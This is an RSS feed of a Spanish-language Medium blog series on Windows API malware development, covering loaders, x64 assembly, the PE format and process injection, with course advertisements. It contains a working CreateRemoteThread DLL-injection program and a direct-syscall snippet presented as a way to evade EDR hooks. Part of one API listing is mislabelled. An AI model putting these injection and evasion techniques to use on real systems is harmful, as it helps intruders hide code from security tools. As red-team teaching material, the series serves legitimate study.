<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Dalton on Medium]]></title>
        <description><![CDATA[Stories by Dalton on Medium]]></description>
        <link>https://medium.com/@dalthon?source=rss-db94f4643a55------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*CAiTc6uxF4PhEUhtxF2Bbg.jpeg</url>
            <title>Stories by Dalton on Medium</title>
            <link>https://medium.com/@dalthon?source=rss-db94f4643a55------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 05:26:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dalthon/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Introducción a la API de Windows para el Desarrollo de Malware — Parte 6]]></title>
            <link>https://dalthon.medium.com/introducci%C3%B3n-a-la-api-de-windows-para-el-desarrollo-de-malware-parte-6-83794aa5e60b?source=rss-db94f4643a55------2</link>
            <guid isPermaLink="false">https://medium.com/p/83794aa5e60b</guid>
            <dc:creator><![CDATA[Dalton]]></dc:creator>
            <pubDate>Mon, 01 Jun 2026 22:50:52 GMT</pubDate>
            <atom:updated>2026-06-01T22:50:52.909Z</atom:updated>
            <content:encoded><![CDATA[<p>Qué tal amigos, en las entregas anteriores hemos construido una base sólida: aprendimos a interactuar con la WinAPI, entendimos cómo está organizado un ejecutable en el formato PE y vimos cómo el procesador habla en ensamblador. Hoy vamos a juntar todas esas piezas en un solo concepto: <strong>los loaders</strong>.</p><p>Si alguna vez te has preguntado cómo el malware moderno logra ejecutarse sin que Windows Defender lo detecte en el momento que toca el disco, la respuesta casi siempre involucra un loader.</p><h3>¿Qué es un loader?</h3><p>Un loader es un programa cuya única responsabilidad es <strong>cargar y ejecutar otro código en memoria</strong>. No hace nada visible por sí solo — no roba credenciales, no abre puertas traseras, no cifra archivos. Su trabajo es más silencioso y más importante que todo eso: conseguir que el payload real llegue a ejecutarse sin ser detectado.</p><p>Windows tiene su propio loader integrado — es el componente del sistema operativo que lee el formato PE, mapea las secciones en memoria, resuelve la Import Table y salta al Entry Point cuando abres un .exe. Lo hemos estudiado en la Parte 3.</p><p>Un loader ofensivo hace algo similar, pero <strong>manualmente y con control total sobre cada paso</strong>, precisamente para evitar que Windows y las herramientas de seguridad sepan qué está pasando.</p><h3>¿Por qué necesitas un loader?</h3><p>Imagina que tienes un payload — digamos, un shellcode que establece una conexión con un servidor de comando y control. Si lo compilas directamente como un .exe y lo ejecutas, suceden varias cosas que lo delatan:</p><ul><li>El archivo toca el disco, donde el antivirus lo escanea estáticamente.</li><li>La Import Table revela qué funciones usa.</li><li>Windows registra la creación del proceso.</li><li>El comportamiento en memoria es fácilmente identificable.</li></ul><p>Un loader resuelve estos problemas desacoplando el payload del ejecutable que lo carga. El loader en sí parece inocente — puede no tener imports sospechosos, puede tener una firma digital válida, puede parecerse a cualquier programa legítimo. El payload viaja cifrado, se descifra en memoria y se ejecuta sin nunca escribirse en disco como código ejecutable.</p><h3>¿Cómo se relaciona con todo lo que hemos visto?</h3><p>Aquí es donde las piezas encajan:</p><p><strong>WinAPI (Partes 1 y 2):</strong> Un loader usa funciones como VirtualAlloc para reservar memoria, WriteProcessMemory para escribir el payload y CreateRemoteThread para ejecutarlo. Todo lo que practicamos en las primeras entregas son los bloques de construcción de un loader.</p><p><strong>Formato PE (Parte 3):</strong> Un loader avanzado puede parsear manualmente un PE en memoria — leer sus secciones, resolver su Import Table, aplicar las relocalizaciones — sin pedirle ayuda a Windows. Esto se llama <strong>carga manual de PE</strong> o <em>reflective loading</em>, y es una de las técnicas más usadas en red team hoy en día.</p><p><strong>Ensamblador (Parte 4):</strong> Los loaders más evasivos evitan usar la WinAPI directamente y en cambio hacen syscalls directas al kernel en ensamblador, saltándose los hooks que colocan los EDR sobre las funciones de alto nivel.</p><h3>Un ejemplo básico: cargar una DLL manualmente</h3><p>El loader más simple que puedes construir es uno que carga una DLL usando LoadLibraryA. Esto ya lo vimos brevemente en la Parte 3, pero ahora lo vemos con otro enfoque — no como una función cualquiera, sino como el primer eslabón de la cadena de un loader.</p><pre>#include &lt;windows.h&gt;<br>#include &lt;iostream&gt;<br><br>int main() {<br>    // Cargamos la DLL en el espacio de memoria del proceso actual<br>    HMODULE hLib = LoadLibraryA(&quot;mi_payload.dll&quot;);<br><br>    if (!hLib) {<br>        std::cerr &lt;&lt; &quot;Error al cargar: &quot; &lt;&lt; GetLastError() &lt;&lt; std::endl;<br>        return 1;<br>    }<br><br>    // Buscamos la funcion que queremos ejecutar dentro de la DLL<br>    typedef void(*fnPayload)();<br>    fnPayload ejecutar = (fnPayload)GetProcAddress(hLib, &quot;ejecutar&quot;);<br><br>    if (!ejecutar) {<br>        std::cerr &lt;&lt; &quot;Funcion no encontrada: &quot; &lt;&lt; GetLastError() &lt;&lt; std::endl;<br>        FreeLibrary(hLib);<br>        return 1;<br>    }<br><br>    // Ejecutamos el payload<br>    ejecutar();<br><br>    FreeLibrary(hLib);<br>    return 0;<br>}</pre><p>Este ejemplo es la versión más transparente de un loader — le pide ayuda a Windows a través de LoadLibraryA. El problema es que Windows registra esa carga, el EDR la ve, y la DLL tiene que existir en disco.</p><p>Los loaders reales no usan LoadLibraryA. En cambio, replican internamente lo que hace Windows: mapean el PE en memoria, resuelven los imports, aplican relocalizaciones y saltan al Entry Point — todo sin tocar el disco y sin llamar a funciones que el EDR monitorea.</p><h3>¿Qué diferencia un loader básico de uno evasivo?</h3><p>CaracterísticaLoader básicoLoader evasivoCarga del payloadLoadLibraryAManual, en memoriaPayload en discoSíNo (cifrado o en red)Imports visiblesSíResolución dinámica con hashingLlamadas a WinAPIDirectasSyscalls directas al kernelDetectable por EDRFácilmenteSignificativamente más difícil</p><p>Cada fila de esa tabla es una técnica — y cada técnica tiene su propio nivel de complejidad y sus propias contramedidas.</p><h3>¿Qué sigue?</h3><p>Con esto cerramos el ciclo conceptual de la serie: WinAPI → procesos remotos → formato PE → ensamblador → loaders. Cada entrega ha sido un escalón hacia entender cómo opera realmente el software ofensivo moderno.</p><p>Si quieres pasar de entender los conceptos a <strong>construir tus propias herramientas</strong> — loaders evasivos, técnicas de bypass de EDR, desarrollo ofensivo completo en Windows con C++ — todo eso lo cubrimos a fondo, con laboratorios y código real, en el <a href="https://academy.spartan-cybersec.com/l/pdp/curso-de-desarrollo-ofensivo-en-windows-con-c-plus-cdowcp"><strong>Curso de Desarrollo Ofensivo en Windows con C++ (CDOWCP)</strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*mRrmpU0el43TZtSqtA_IKA.png" /></figure><p>Happy Hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83794aa5e60b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introducción a la API de Windows para el Desarrollo de Malware — Parte 5]]></title>
            <link>https://dalthon.medium.com/introducci%C3%B3n-a-la-api-de-windows-para-el-desarrollo-de-malware-parte-5-09fb9e2e2d5e?source=rss-db94f4643a55------2</link>
            <guid isPermaLink="false">https://medium.com/p/09fb9e2e2d5e</guid>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[hacking-tools]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Dalton]]></dc:creator>
            <pubDate>Fri, 24 Apr 2026 23:11:00 GMT</pubDate>
            <atom:updated>2026-04-24T23:11:00.465Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*jtglmY3rMHB_ip0A.png" /></figure><p>Qué tal amigos, en la entrega anterior estuvimos viendo el formato PE, la estructura que Windows lee antes de ejecutar cualquier archivo. Hoy vamos a bajar un nivel más y vamos a hablar del lenguaje que realmente entiende el procesador: <strong>el ensamblador x64</strong>.</p><p>Si alguna vez abriste un binario en un debugger como x64dbg y viste instrucciones como mov rax, rcx o push rbp y cerraste la ventana inmediatamente — esta entrega es para ti.</p><h3>¿Qué es el ensamblador?</h3><p>El ensamblador (o <em>assembly</em>) es el nivel de abstracción más bajo antes del código máquina puro. Cada instrucción en ensamblador corresponde directamente a una instrucción que ejecuta el procesador.</p><p>Cuando tú escribes esto en C++:</p><pre>int suma = a + b;</pre><p>El compilador lo traduce a algo parecido a esto en ensamblador:</p><pre>mov eax, [a]      ; Carga el valor de &#39;a&#39; en el registro EAX<br>add eax, [b]      ; Suma el valor de &#39;b&#39; al registro EAX<br>mov [suma], eax   ; Guarda el resultado en &#39;suma&#39;</pre><p>¿Por qué importa esto en el desarrollo ofensivo? Porque el malware más sofisticado <strong>no usa funciones de alto nivel</strong> que puedan ser interceptadas. En cambio, habla directamente con el procesador y el kernel usando ensamblador, evitando los hooks que colocan los EDR y los antivirus sobre la WinAPI.</p><h3>Los registros en x64</h3><p>Los registros son pequeños espacios de almacenamiento dentro del procesador, extremadamente rápidos. En arquitectura x64 los principales son de 64 bits y tienen el prefijo R:</p><p>Registro Uso principal RAX Acumulador. Guarda el valor de retorno de las funciones RBX Registro de propósito general RCX Primer argumento de una función (en la convención x64 de Windows) RDX Segundo argumento de una función R8 Tercer argumento R9 Cuarto argumento RSP Stack Pointer — apunta al tope del stack RBP Base Pointer — referencia la base del stack frame actual RIP Instruction Pointer — apunta a la próxima instrucción a ejecutar</p><p>Esto es crítico: cuando en C++ llamas a una función como VirtualAlloc(NULL, 1024, ...), el compilador está cargando NULL en RCX, 1024 en RDX, y así sucesivamente antes de ejecutar el call. El procesador no sabe nada de nombres de parámetros, solo de registros.</p><h3>Instrucciones básicas</h3><p>Veamos las instrucciones que verás constantemente al analizar o escribir código ofensivo:</p><h3>mov — mover datos</h3><pre>mov rax, 10        ; Carga el valor 10 en RAX<br>mov rbx, rax       ; Copia el valor de RAX a RBX</pre><p>Es la instrucción más común. Mueve un valor a un registro o a una dirección de memoria.</p><h3>push y pop — el stack</h3><pre>push rax           ; Guarda RAX en el stack y decrementa RSP<br>pop rbx            ; Recupera el valor del tope del stack y lo pone en RBX</pre><p>El stack es una región de memoria LIFO (último en entrar, primero en salir). Se usa para guardar valores temporalmente y para pasar argumentos en funciones.</p><h3>call y ret — llamadas a funciones</h3><pre>call VirtualAlloc  ; Llama a la función VirtualAlloc<br>ret                ; Regresa al punto donde fue llamada la función actual</pre><p>call guarda la dirección de retorno en el stack y salta a la función. ret la recupera y regresa.</p><h3>add y sub — aritmética</h3><pre>add rax, 5         ; RAX = RAX + 5<br>sub rcx, 1         ; RCX = RCX - 1</pre><h3>cmp y jmp — comparaciones y saltos</h3><pre>cmp rax, 0         ; Compara RAX con 0 (modifica flags internos)<br>je  etiqueta       ; Salta a &#39;etiqueta&#39; si son iguales (Jump if Equal)<br>jne etiqueta       ; Salta si NO son iguales (Jump if Not Equal)<br>jmp etiqueta       ; Salto incondicional</pre><p>Estas instrucciones son los if y los while del ensamblador.</p><h3>Ensamblador inline con C++</h3><p>En C++ podemos mezclar ensamblador directamente en nuestro código usando bloques __asm. Veamos un ejemplo sencillo donde usamos ensamblador para sumar dos números:</p><pre>#include &lt;iostream&gt;</pre><pre>int main() {<br>    int a = 10;<br>    int b = 20;<br>    int resultado = 0;</pre><pre>    __asm {<br>        mov eax, a        ; Carga &#39;a&#39; en EAX<br>        add eax, b        ; Suma &#39;b&#39; a EAX<br>        mov resultado, eax ; Guarda el resultado<br>    }</pre><pre>    std::cout &lt;&lt; &quot;Resultado: &quot; &lt;&lt; resultado &lt;&lt; std::endl; // 30<br>    return 0;<br>}</pre><p>Sencillo, pero ilustra perfectamente cómo el procesador manipula datos. Nota que usamos EAX (32 bits) porque estamos operando con enteros de 32 bits — si fueran valores de 64 bits usaríamos RAX.</p><h3>¿Qué tiene que ver esto con el malware?</h3><p>Todo. Cuando un EDR quiere monitorear si un proceso llama a NtAllocateVirtualMemory (la función del kernel detrás de VirtualAlloc), coloca un <em>hook</em>: modifica los primeros bytes de esa función para interceptar la llamada.</p><p>El malware avanzado evita ese hook haciendo la llamada directamente al kernel mediante una <strong>syscall</strong>, sin pasar por la función hooked. Y una syscall se ve así:</p><pre>mov r10, rcx          ; Convención de syscall en Windows<br>mov eax, 0x18         ; Número de syscall de NtAllocateVirtualMemory<br>syscall               ; Llamada directa al kernel</pre><p>Eso es ensamblador puro. Sin WinAPI, sin hooks, directo al kernel.</p><p>No vamos a profundizar en esto aquí, pero ya puedes ver por qué dominar ensamblador es la diferencia entre hacer herramientas que un AV detecta en segundos y herramientas que pasan desapercibidas.</p><h3>¿Qué sigue?</h3><p>En la próxima entrega vamos a hablar de <strong>qué es un loader</strong>, para qué sirve y por qué es una de las piezas más importantes en el desarrollo ofensivo moderno.</p><p>Si no quieres esperar y quieres aprender syscalls directas, técnicas de evasión de EDR y cómo construir tus propias herramientas ofensivas desde cero, todo eso está cubierto en profundidad en el <a href="https://academy.spartan-cybersec.com/l/pdp/curso-de-desarrollo-ofensivo-en-windows-con-c-plus-cdowcp"><strong>Curso de Desarrollo Ofensivo en Windows con C++ (CDOWCP)</strong></a>.</p><p>Happy Hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=09fb9e2e2d5e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introducción a la API de Windows para el Desarrollo de Malware — Parte 4.]]></title>
            <link>https://dalthon.medium.com/introducci%C3%B3n-a-la-api-de-windows-para-el-desarrollo-de-malware-parte-4-82335b1c8c66?source=rss-db94f4643a55------2</link>
            <guid isPermaLink="false">https://medium.com/p/82335b1c8c66</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hacking-tools]]></category>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Dalton]]></dc:creator>
            <pubDate>Thu, 16 Apr 2026 18:22:59 GMT</pubDate>
            <atom:updated>2026-04-16T18:22:59.831Z</atom:updated>
            <content:encoded><![CDATA[<p>Qué tal amigos, en las entregas anteriores estuvimos viendo cómo interactuar con el sistema operativo a través de la WinAPI: asignamos memoria, creamos procesos y aprendimos a abrir handles a procesos remotos. Hoy vamos a dar un paso atrás, pero hacia abajo, es decir, vamos a entender algo que ocurre antes de que cualquier función de WinAPI entre en juego: <strong>¿qué sucede cuando Windows ejecuta un archivo </strong><strong>.exe?</strong></p><p>La respuesta está en el <strong>formato PE (Portable Executable)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*uckPsORhwW58M3e-PqudwA.png" /></figure><h3>¿Qué es el formato PE?</h3><p>Cada archivo ejecutable en Windows (.exe, .dll, .sys) sigue una estructura de datos estrictamente definida llamada <strong>Portable Executable</strong>. Windows no ejecuta &quot;código directamente&quot;, primero tiene que leer y mapear esa estructura en memoria para saber dónde está el código, qué librerías necesita cargar, cuánta memoria reservar, entre otras cosas.</p><p>Entender esto es fundamental en el desarrollo ofensivo porque:</p><ul><li>El malware moderno <strong>manipula</strong> esta estructura para evadir detección.</li><li>Las técnicas como <strong>Process Hollowing</strong> o los <strong>loaders evasivos</strong> dependen completamente de conocer el formato PE.</li><li>Los antivirus y los EDR también analizan esta estructura, por lo que saber cómo funciona es saber cómo piensan.</li></ul><h3>Anatomía de un archivo PE</h3><p>Un archivo PE está compuesto por varias secciones encadenadas. A grandes rasgos, la estructura es la siguiente:</p><pre>+---------------------------+<br>|       DOS Header          |  &lt;-- &quot;MZ&quot; — firma del archivo<br>+---------------------------+<br>|       DOS Stub            |  &lt;-- Pequeño programa de compatibilidad con MS-DOS<br>+---------------------------+<br>|       NT Headers          |  &lt;-- Cabecera principal del PE<br>|   - Signature (&quot;PE\0\0&quot;) |<br>|   - File Header           |<br>|   - Optional Header       |<br>+---------------------------+<br>|    Section Headers        |  &lt;-- Tabla de secciones (.text, .data, .rdata...)<br>+---------------------------+<br>|        .text              |  &lt;-- Código ejecutable<br>|        .data              |  &lt;-- Variables globales inicializadas<br>|        .rdata             |  &lt;-- Datos de solo lectura (strings, imports)<br>|        .rsrc              |  &lt;-- Recursos (iconos, manifests)<br>+---------------------------+</pre><p>Veamos cada parte importante.</p><h3>DOS Header</h3><p>Todo archivo PE comienza con la estructura IMAGE_DOS_HEADER. Lo más relevante aquí son dos campos:</p><ul><li>e_magic: Contiene la firma MZ (0x5A4D), que identifica el archivo como ejecutable de Windows.</li><li>e_lfanew: Offset que apunta al inicio de los NT Headers.</li></ul><pre>#include &lt;windows.h&gt;<br>#include &lt;iostream&gt;<br>#include &lt;fstream&gt;</pre><pre>int main() {<br>    // Abrimos un ejecutable en modo binario<br>    std::ifstream file(&quot;C:\\Windows\\System32\\notepad.exe&quot;, std::ios::binary);</pre><pre>    IMAGE_DOS_HEADER dosHeader;<br>    file.read((char*)&amp;dosHeader, sizeof(dosHeader));</pre><pre>    // Verificamos la firma MZ<br>    if (dosHeader.e_magic == IMAGE_DOS_SIGNATURE) {<br>        std::cout &lt;&lt; &quot;Firma MZ encontrada!&quot; &lt;&lt; std::endl;<br>        std::cout &lt;&lt; &quot;Offset a NT Headers: 0x&quot; &lt;&lt; std::hex &lt;&lt; dosHeader.e_lfanew &lt;&lt; std::endl;<br>    }</pre><pre>    return 0;<br>}</pre><p>Con esto podemos leer el inicio de cualquier PE y ubicar dónde están los NT Headers.</p><h3>NT Headers</h3><p>Usando el offset e_lfanew llegamos a IMAGE_NT_HEADERS, que contiene tres partes:</p><p><strong>Signature:</strong> Los bytes PE\0\0 (0x00004550), que confirman que es un PE válido.</p><p><strong>File Header (</strong><strong>IMAGE_FILE_HEADER):</strong> Contiene información básica del archivo:</p><ul><li>Machine: Arquitectura (x86, x64).</li><li>NumberOfSections: Cuántas secciones tiene el PE.</li><li>TimeDateStamp: Fecha de compilación (muy útil en análisis forense).</li></ul><p><strong>Optional Header (</strong><strong>IMAGE_OPTIONAL_HEADER):</strong> A pesar del nombre, es obligatorio. Aquí vive información crítica:</p><ul><li>AddressOfEntryPoint: La dirección donde comienza la ejecución del programa.</li><li>ImageBase: La dirección base preferida en memoria.</li><li>SizeOfImage: Tamaño total del PE en memoria.</li><li>DataDirectory: Array que apunta a estructuras importantes como la <strong>Import Table</strong> y la <strong>Export Table</strong>.</li></ul><pre>// Nos posicionamos en el offset <br>file.seekg(dosHeader.e_lfanew);</pre><pre>IMAGE_NT_HEADERS ntHeaders;<br>file.read((char*)&amp;ntHeaders, sizeof(ntHeaders));</pre><pre>if (ntHeaders.Signature == IMAGE_NT_SIGNATURE) {<br>    std::cout &lt;&lt; &quot;PE valido!&quot; &lt;&lt; std::endl;<br>    std::cout &lt;&lt; &quot;Entry Point: 0x&quot; &lt;&lt; std::hex <br>              &lt;&lt; ntHeaders.OptionalHeader.AddressOfEntryPoint &lt;&lt; std::endl;<br>    std::cout &lt;&lt; &quot;Image Base: 0x&quot; <br>              &lt;&lt; ntHeaders.OptionalHeader.ImageBase &lt;&lt; std::endl;<br>    std::cout &lt;&lt; &quot;Numero de secciones: &quot; <br>              &lt;&lt; ntHeaders.FileHeader.NumberOfSections &lt;&lt; std::endl;<br>}</pre><h3>Section Headers y las secciones</h3><p>Después de los NT Headers viene la tabla de secciones. Cada sección está descrita por IMAGE_SECTION_HEADER y tiene campos como:</p><ul><li>Name: Nombre de la sección (.text, .data, .rdata, etc.).</li><li>VirtualAddress: Dirección en memoria donde se cargará la sección.</li><li>SizeOfRawData: Tamaño de la sección en el archivo.</li><li>Characteristics: Permisos de la sección (ejecutable, de lectura, de escritura).</li></ul><p>Las secciones más relevantes en el contexto ofensivo son:</p><ul><li><strong>.text</strong>: Aquí vive el código del programa. Si un PE tiene una sección con permisos de escritura Y ejecución (PAGE_EXECUTE_READWRITE), eso es una señal de alerta para cualquier AV.</li><li><strong>.rdata</strong>: Contiene la <strong>Import Address Table (IAT)</strong>, que es la lista de funciones externas que el ejecutable va a usar, como VirtualAlloc, CreateProcess, etc. — las mismas que hemos estado estudiando.</li><li><strong>.rsrc</strong>: Recursos del ejecutable. El malware suele esconder payloads cifrados aquí.</li></ul><h3>¿Por qué importa esto?</h3><p>Cuando en la entrega anterior asignamos memoria con VirtualAllocEx y abrimos un proceso con OpenProcess, estábamos trabajando en el espacio de usuario con herramientas de alto nivel. Pero las técnicas avanzadas operan directamente sobre esta estructura:</p><ul><li>Un <strong>loader evasivo</strong> carga un PE en memoria manualmente, sin llamar a LoadLibrary, para evitar que el sistema registre la carga.</li><li><strong>Process Hollowing</strong> vacía el .text de un proceso legítimo y lo reemplaza con código malicioso, respetando la estructura PE para que Windows no lo rechace.</li><li>Los EDR modernos hookean funciones de la <strong>IAT</strong> para monitorear qué llamadas hace un proceso, y evadir eso requiere entender cómo está construida esa tabla.</li></ul><p>Todo camino avanzado pasa por aquí.</p><h3>¿Qué sigue?</h3><p>En la próxima entrega vamos a meternos con <strong>ensamblador x64</strong>, el lenguaje que habla el procesador directamente y que es indispensable para entender cómo se ejecuta realmente el código malicioso, cómo funcionan los shellcodes y por qué las técnicas de evasión más sofisticadas no pueden prescindir de él.</p><p>Si quieres ir más allá de los conceptos del blog y aprender a construir tus propios loaders evasivos, técnicas de evasión de EDR y desarrollo ofensivo completo en Windows con C++, todo eso lo cubrimos a fondo en el <a href="https://academy.spartan-cybersec.com/l/pdp/curso-de-desarrollo-ofensivo-en-windows-con-c-plus-cdowcp"><strong>Curso de Desarrollo Ofensivo en Windows con C++ (CDOWCP)</strong></a>. Quedan pocos lugares con el 50% de descuento con el cupon “LANZAMIENTO”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*1JOUij9RnjKig-JWoX72qw.jpeg" /></figure><p>Happy Hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82335b1c8c66" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introducción a la API de Windows Para el desarrollo de malware, parte 3.]]></title>
            <link>https://dalthon.medium.com/introducci%C3%B3n-a-la-api-de-windows-para-el-desarrollo-de-malware-parte-3-65edf3c56205?source=rss-db94f4643a55------2</link>
            <guid isPermaLink="false">https://medium.com/p/65edf3c56205</guid>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Dalton]]></dc:creator>
            <pubDate>Sun, 12 Apr 2026 23:28:04 GMT</pubDate>
            <atom:updated>2026-04-12T23:28:53.346Z</atom:updated>
            <content:encoded><![CDATA[<h3>De memoria remota a ejecución: Process Injection en Windows</h3><p>Que tal amigos, ya se que ha pasado un tiempo en estos temas pero tambien he estado algo ocuapdo. Een la parte anterior logramos algo clave: abrir procesos remotos y reservar memoria dentro de ellos.<br> Pero eso no es suficiente para un atacante.</p><p>El verdadero poder comienza cuando no solo accedes a la memoria de otro proceso…<br> sino cuando <strong>ejecutas código dentro de él</strong>.</p><p>En esta parte vamos a construir el flujo clásico utilizado en malware:</p><blockquote><em>abrir proceso → reservar memoria → escribir código → ejecutarlo remotament</em></blockquote><p>Para eso usaremos:</p><ul><li><strong>OpenProcess</strong></li><li><strong>VirtualAllocEx</strong></li><li><strong>WriteProcessMemory</strong></li><li><strong>CreateRemoteThread</strong></li></ul><p>Veamos el código:</p><pre>#include &lt;windows.h&gt;<br>#include &lt;iostream&gt;<br><br>int main() {<br>    DWORD pid;<br>    std::cout &lt;&lt; &quot;PID del proceso objetivo: &quot;;<br>    std::cin &gt;&gt; pid;<br><br>    // 1 Abrir proceso<br>    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);<br>    if (!hProcess) {<br>        std::cout &lt;&lt; &quot;Error al abrir proceso\n&quot;;<br>        return 1;<br>    }<br><br>    // 2 Payload (MessageBox)<br>    const char* dllPath = &quot;user32.dll&quot;;<br><br>    // 3 Reservar memoria en el proceso remoto<br>    LPVOID remoteMemory = VirtualAllocEx(<br>        hProcess,<br>        NULL,<br>        strlen(dllPath) + 1,<br>        MEM_COMMIT | MEM_RESERVE,<br>        PAGE_READWRITE<br>    );<br><br>    if (!remoteMemory) {<br>        std::cout &lt;&lt; &quot;Error al reservar memoria\n&quot;;<br>        return 1;<br>    }<br><br>    // 4 Escribir en memoria remota<br>    if (!WriteProcessMemory(<br>        hProcess,<br>        remoteMemory,<br>        dllPath,<br>        strlen(dllPath) + 1,<br>        NULL<br>    )) {<br>        std::cout &lt;&lt; &quot;Error al escribir memoria\n&quot;;<br>        return 1;<br>    }<br><br>    // 5 Obtener dirección de LoadLibraryA<br>    LPVOID loadLibraryAddr = (LPVOID)GetProcAddress(<br>        GetModuleHandle(&quot;kernel32.dll&quot;),<br>        &quot;LoadLibraryA&quot;<br>    );<br><br>    // 6 Crear hilo remoto<br>    HANDLE hThread = CreateRemoteThread(<br>        hProcess,<br>        NULL,<br>        0,<br>        (LPTHREAD_START_ROUTINE)loadLibraryAddr,<br>        remoteMemory,<br>        0,<br>        NULL<br>    );<br><br>    if (!hThread) {<br>        std::cout &lt;&lt; &quot;Error al crear hilo remoto\n&quot;;<br>        return 1;<br>    }<br><br>    std::cout &lt;&lt; &quot;DLL inyectada correctamente\n&quot;;<br><br>    CloseHandle(hThread);<br>    CloseHandle(hProcess);<br><br>    return 0;<br>}</pre><p>Desenmarañemos esto: Primero tenemos un Open Process, esto obtiene el handle del proceo objetivo, VirtualAllocEx ya lo habiamos visto antes y con esto vamos a reservar la memoria necesaria dentro del proceso remoto, WriteProcessMemory, necesaria para escribir datos dentro el espacio, aquí colocaremos el payload, CreateRemoteThread para ejecutar código dentro del proceso.</p><p>Para leer/escribir en memoria y crear hilos remotos:</p><pre>HANDLE OpenProcess(<br>  DWORD   dwDesiredAccess,  //Permisos <br>  BOOL    bInheritHandle,   //Herencia del handle  <br>  DWORD   dwProcessId       //PID del objetivo <br>);</pre><p>Este es un punto crucial pues esto define si el payload podrá ejcutarse o no:</p><pre>LPVOID VirtualAllocEx(<br>  HANDLE   hProcess,          //Proceso del objetivo<br>  LPVOID   lpAddress,       <br>  SIZE_T   dwSize,            //Tamaño<br>  DWORD    flAllocationType,  //MEM_COMMIT | MEM_RESERVE<br>  DWORD    flProtect          //Permisos<br>);</pre><p>Vamos a escribir datos dentro de la memoria en otro proceso:</p><pre>BOOL WriteProcessMemory(<br>  HANDLE      hProcess,<br>  LPVOID      lpBaseAddress,      //dirección remota<br>  LPCVOID     lpBuffer,           //Datos, los datos a escribir, el payload pues<br>  SIZE_T      nSize,              //Tamaño<br>  SIZE_T      *lpNumberOfBytesWritten<br>);</pre><p>Creamos un hilo dentro de otro proceso:</p><pre>BOOL WriteProcessMemory(<br>  HANDLE  hProcess,                  //Proceso objetivo<br>  LPVOID  lpBaseAddress,             //Dirección de memoria dentro de ese proceso<br>  LPCVOID lpBuffer,                  Datos a escribir (desde nuestro proceso)<br>  SIZE_T  nSize,                    //Tamaño de los datos<br>  SIZE_T  *lpNumberOfBytesWritten   //No nos interesa guardar cuántos bytes se escribieron<br>);</pre><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Bueno esto ha sido por el tema de hoy fue algo pequeño, pero es conciso, estudialo, repasalo, y espera mas contenido, seguire escribiendo más, que es la meta del año.</p><p>¡Happy Hacking!</p><h3>¿Quieres llevar esto al siguiente nivel?</h3><p>En este artículo vimos la base de la ejecución de código en memoria.<br> Pero en entornos reales esto es solo el inicio.</p><p>En mi entrenamiento profundizo en:</p><ul><li>desarrollo de loaders evasivos</li><li>ejecución de shellcode sin detección</li><li>bypass de antivirus y EDR</li><li>uso avanzado de WinAPI en escenarios reales</li></ul><p>👉 Puedes ver el contenido completo aquí:<br> 👉 <a href="https://academy.spartan-cybersec.com/l/pdp/curso-de-desarrollo-ofensivo-en-windows-con-c-plus-cdowcp">https://academy.spartan-cybersec.com/l/pdp/curso-de-desarrollo-ofensivo-en-windows-con-c-plus-cdowcp</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y0z2c1S1-xy0Gwt02ZVhZA.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=65edf3c56205" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introducción a la API de Windows Para el desarrollo de malware, parte 2.]]></title>
            <link>https://dalthon.medium.com/introducci%C3%B3n-a-la-api-de-windows-para-el-desarrollo-de-malware-parte-2-6629f95feda4?source=rss-db94f4643a55------2</link>
            <guid isPermaLink="false">https://medium.com/p/6629f95feda4</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[life-hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[redteam-tool]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Dalton]]></dc:creator>
            <pubDate>Tue, 09 Sep 2025 16:26:01 GMT</pubDate>
            <atom:updated>2026-04-12T23:25:30.256Z</atom:updated>
